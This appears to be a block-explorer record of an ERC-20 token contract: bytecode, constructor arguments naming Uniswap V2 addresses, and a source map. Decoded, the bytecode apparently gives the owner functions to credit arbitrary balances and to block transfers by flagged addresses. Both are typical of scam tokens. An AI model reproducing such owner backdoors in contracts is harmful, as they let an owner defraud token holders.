79a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d07578082015181840152602081019050611cec565b50505050905090810190601f168015611d345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611d4e57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220248b4ac50ed1368437e9aef827cce6196bd32d0a58dcd19252cd73f1daa0cc7264736f6c634300070000330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f00000000000000000000000000000000000000000000021e19e0c9bab2400000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638c9e1c6c116100ad578063a9059cbb11610071578063a9059cbb1461058b578063cbc740aa146105ef578063cc1f9bf514610623578063dd62ed3e1461067d578063ff3787aa146106f557610121565b80638c9e1c6c1461041e57806394146a6e1461043c57806395d89b4114610470578063a457c2d7146104f3578063a55626cb1461055757610121565b8063313ce567116100f4578063313ce567146102af578063381184a9146102d0578063395093511461031e578063682d6eb91461038257806370a08231146103c657610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d57806323b872dd1461022b575b600080fd5b61012e610739565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107db565b60405180821515815260200191505060405180910390f35b6102156107f9565b6040518082815260200191505060405180910390f35b6102976004803603606081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610803565b60405180821515815260200191505060405180910390f35b6102b76108dc565b604051808260ff16815260200191505060405180910390f35b61031c600480360360408110156102e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f3565b005b61036a6004803603604081101561033457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b60405180821515815260200191505060405180910390f35b6103c46004803603602081101561039857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b07565b005b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2a565b6040518082815260200191505060405180910390f35b610426610c73565b6040518082815260200191505060405180910390f35b610444610c7d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610478610ca7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b857808201518184015260208101905061049d565b50505050905090810190601f1680156104e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61053f6004803603604081101561050957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d49565b60405180821515815260200191505060405180910390f35b61055f610e16565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105d7600480360360408110156105a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e40565b60405180821515815260200191505060405180910390f35b6105f7610e5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106656004803603602081101561063957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e88565b60405180821515815260200191505060405180910390f35b6106df6004803603604081101561069357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ede565b6040518082815260200191505060405180910390f35b6107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f65565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d15780601f106107a6576101008083540402835291602001916107d1565b820191906000526020600020905b8154815290600101906020018083116107b457829003601f168201915b5050505050905090565b60006107ef6107e8611110565b8484611118565b6001905092915050565b6000600354905090565b600061081084848461130f565b6108d18461081c611110565b6108cc85604051806060016040528060288152602001611de960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610882611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6108fb611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610a0d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610afd610a61611110565b84610af88560026000610a72611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b611118565b6001905092915050565b610b0f611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600c54905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3f5780601f10610d1457610100808354040283529160200191610d3f565b820191906000526020600020905b815481529060010190602001808311610d2257829003601f168201915b5050505050905090565b6000610e0c610d56611110565b84610e0785604051806060016040528060258152602001611e836025913960026000610d80611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b6001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e54610e4d611110565b848461130f565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6d611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080828401905083811015611106576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611e5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d806022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611e3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d5d6023913960400191505060405180910390fd5b60008111611474576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611e116029913960400191505060405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115155750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561157f5760001515600960149054906101000a900460ff1615151461157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b61158a838383611b77565b600081905060006115b96103e86115ab600286611b7c90919063ffffffff16565b611c0290919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156116685750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156116c25750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119075761173381604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea8160016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36118eb81600c5461108890919063ffffffff16565b600c819055506119048184611c4c90919063ffffffff16565b91505b61197382604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000838311158290611b64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b29578082015181840152602081019050611b0e565b50505050905090810190601f168015611b565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b505050565b600080831415611b8f5760009050611bfc565b6000828402905082848281611ba057fe5b0414611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611dc86021913960400191505060405180910390fd5b809150505b92915050565b6000611c4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c96565b905092915050565b6000611c8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab7565b905092915050565b60008083118290611d42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d07578082015181840152602081019050611cec565b50505050905090810190601f168015611d345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611d4e57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220248b4ac50ed1368437e9aef827cce6196bd32d0a58dcd19252cd73f1daa0cc7264736f6c63430007000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f00000000000000000000000000000000000000000000021e19e0c9bab2400000

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [2] : supplyTokens (uint256): 10000000000000000000000

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [2] : 00000000000000000000000000000000000000000000021e19e0c9bab2400000


Deployed Bytecode Sourcemap

9576:3639:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5979:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7372:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6256:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6884:321;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6165:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6674:198;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7549:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11256:103;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6364:119;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11030:107;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11145:103;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6070:87;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7775:269;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13018:90;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6491:175;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13120:92;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11481:109;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7213:151;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11367:106;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5979:83;6016:13;6049:5;6042:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5979:83;:::o;7372:169::-;7455:4;7472:39;7481:12;:10;:12::i;:::-;7495:7;7504:6;7472:8;:39::i;:::-;7529:4;7522:11;;7372:169;;;;:::o;6256:100::-;6309:7;6336:12;;6329:19;;6256:100;:::o;6884:321::-;6990:4;7007:36;7017:6;7025:9;7036:6;7007:9;:36::i;:::-;7054:121;7063:6;7071:12;:10;:12::i;:::-;7085:89;7123:6;7085:89;;;;;;;;;;;;;;;;;:11;:19;7097:6;7085:19;;;;;;;;;;;;;;;:33;7105:12;:10;:12::i;:::-;7085:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7054:8;:121::i;:::-;7193:4;7186:11;;6884:321;;;;;:::o;6165:83::-;6206:5;6231:9;;;;;;;;;;;6224:16;;6165:83;:::o;6674:198::-;5395:12;:10;:12::i;:::-;5385:22;;:6;;;;;;;;;;:22;;;5377:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6814:50:::1;6847:16;6814:9;:28;6824:17;6814:28;;;;;;;;;;;;;;;;:32;;:50;;;;:::i;:::-;6783:9;:28;6793:17;6783:28;;;;;;;;;;;;;;;:81;;;;6674:198:::0;;:::o;7549:218::-;7637:4;7654:83;7663:12;:10;:12::i;:::-;7677:7;7686:50;7725:10;7686:11;:25;7698:12;:10;:12::i;:::-;7686:25;;;;;;;;;;;;;;;:34;7712:7;7686:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7654:8;:83::i;:::-;7755:4;7748:11;;7549:218;;;;:::o;11256:103::-;5395:12;:10;:12::i;:::-;5385:22;;:6;;;;;;;;;;:22;;;5377:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11347:4:::1;11326:8;:18;11335:8;11326:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;11256:103:::0;:::o;6364:119::-;6430:7;6457:9;:18;6467:7;6457:18;;;;;;;;;;;;;;;;6450:25;;6364:119;;;:::o;11030:107::-;11086:7;11113:16;;11106:23;;11030:107;:::o;11145:103::-;11195:7;11222:18;;;;;;;;;;;11215:25;;11145:103;:::o;6070:87::-;6109:13;6142:7;6135:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6070:87;:::o;7775:269::-;7868:4;7885:129;7894:12;:10;:12::i;:::-;7908:7;7917:96;7956:15;7917:96;;;;;;;;;;;;;;;;;:11;:25;7929:12;:10;:12::i;:::-;7917:25;;;;;;;;;;;;;;;:34;7943:7;7917:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;7885:8;:129::i;:::-;8032:4;8025:11;;7775:269;;;;:::o;13018:90::-;13066:7;13093;;;;;;;;;;;13086:14;;13018:90;:::o;6491:175::-;6577:4;6594:42;6604:12;:10;:12::i;:::-;6618:9;6629:6;6594:9;:42::i;:::-;6654:4;6647:11;;6491:175;;;;:::o;13120:92::-;13169:7;13196:8;;;;;;;;;;;13189:15;;13120:92;:::o;11481:109::-;11540:4;11564:8;:18;11573:8;11564:18;;;;;;;;;;;;;;;;;;;;;;;;;11557:25;;11481:109;;;:::o;7213:151::-;7302:7;7329:11;:18;7341:5;7329:18;;;;;;;;;;;;;;;:27;7348:7;7329:27;;;;;;;;;;;;;;;;7322:34;;7213:151;;;;:::o;11367:106::-;5395:12;:10;:12::i;:::-;5385:22;;:6;;;;;;;;;;:22;;;5377:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11460:5:::1;11439:8;:18;11448:8;11439:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;11367:106:::0;:::o;1184:181::-;1242:7;1262:9;1278:1;1274;:5;1262:17;;1303:1;1298;:6;;1290:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1356:1;1349:8;;;1184:181;;;;:::o;107:106::-;160:15;195:10;188:17;;107:106;:::o;9025:346::-;9144:1;9127:19;;:5;:19;;;;9119:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9225:1;9206:21;;:7;:21;;;;9198:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9309:6;9279:11;:18;9291:5;9279:18;;;;;;;;;;;;;;;:27;9298:7;9279:27;;;;;;;;;;;;;;;:36;;;;9347:7;9331:32;;9340:5;9331:32;;;9356:6;9331:32;;;;;;;;;;;;;;;;;;9025:346;;;:::o;11598:1412::-;11723:1;11705:20;;:6;:20;;;;11697:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11807:1;11786:23;;:9;:23;;;;11778:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11877:1;11868:6;:10;11860:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11939:8;:16;11948:6;11939:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;11959:8;:19;11968:9;11959:19;;;;;;;;;;;;;;;;;;;;;;;;;11939:39;11935:79;;;12004:5;11988:21;;:12;;;;;;;;;;;:21;;;11980:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11935:79;12025:47;12046:6;12054:9;12065:6;12025:20;:47::i;:::-;12083:18;12104:6;12083:27;;12194:23;12220;12238:4;12220:13;12231:1;12220:6;:10;;:13;;;;:::i;:::-;:17;;:23;;;;:::i;:::-;12194:49;;12288:1;12258:32;;:18;;;;;;;;;;;:32;;;;:59;;;;;12304:13;;;;;;;;;;;12294:23;;:6;:23;;;;12258:59;:89;;;;;12334:13;;;;;;;;;;;12321:26;;:9;:26;;;;12258:89;12254:518;;;12384:80;12406:15;12384:80;;;;;;;;;;;;;;;;;:9;:17;12394:6;12384:17;;;;;;;;;;;;;;;;:21;;:80;;;;;:::i;:::-;12364:9;:17;12374:6;12364:17;;;;;;;;;;;;;;;:100;;;;12511:50;12545:15;12511:9;:29;12521:18;;;;;;;;;;;12511:29;;;;;;;;;;;;;;;;:33;;:50;;;;:::i;:::-;12479:9;:29;12489:18;;;;;;;;;;;12479:29;;;;;;;;;;;;;;;:82;;;;12598:18;;;;;;;;;;;12581:53;;12590:6;12581:53;;;12618:15;12581:53;;;;;;;;;;;;;;;;;;12668:37;12689:15;12668:16;;:20;;:37;;;;:::i;:::-;12649:16;:56;;;;12733:27;12744:15;12733:6;:10;;:27;;;;:::i;:::-;12720:40;;12254:518;12802:75;12824:10;12802:75;;;;;;;;;;;;;;;;;:9;:17;12812:6;12802:17;;;;;;;;;;;;;;;;:21;;:75;;;;;:::i;:::-;12782:9;:17;12792:6;12782:17;;;;;;;;;;;;;;;:95;;;;12911:36;12936:10;12911:9;:20;12921:9;12911:20;;;;;;;;;;;;;;;;:24;;:36;;;;:::i;:::-;12888:9;:20;12898:9;12888:20;;;;;;;;;;;;;;;:59;;;;12980:9;12963:39;;12972:6;12963:39;;;12991:10;12963:39;;;;;;;;;;;;;;;;;;11598:1412;;;;;:::o;1517:190::-;1603:7;1636:1;1631;:6;;1639:12;1623:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1663:9;1679:1;1675;:5;1663:17;;1698:1;1691:8;;;1517:190;;;;;:::o;9477:92::-;;;;:::o;1715:248::-;1773:7;1802:1;1797;:6;1793:47;;;1827:1;1820:8;;;;1793:47;1852:9;1868:1;1864;:5;1852:17;;1897:1;1892;1888;:5;;;;;;:10;1880:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1954:1;1947:8;;;1715:248;;;;;:::o;1971:132::-;2029:7;2056:39;2060:1;2063;2056:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2049:46;;1971:132;;;;:::o;1373:136::-;1431:7;1458:43;1462:1;1465;1458:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1451:50;;1373:136;;;;:::o;2111:189::-;2197:7;2229:1;2225;:5;2232:12;2217:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2256:9;2272:1;2268;:5;;;;;;2256:17;;2291:1;2284:8;;;2111:189;;;;;:::o

Swarm Source

ipfs://248b4ac50ed1368437e9aef827cce6196bd32d0a58dcd19252cd73f1daa0cc72
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.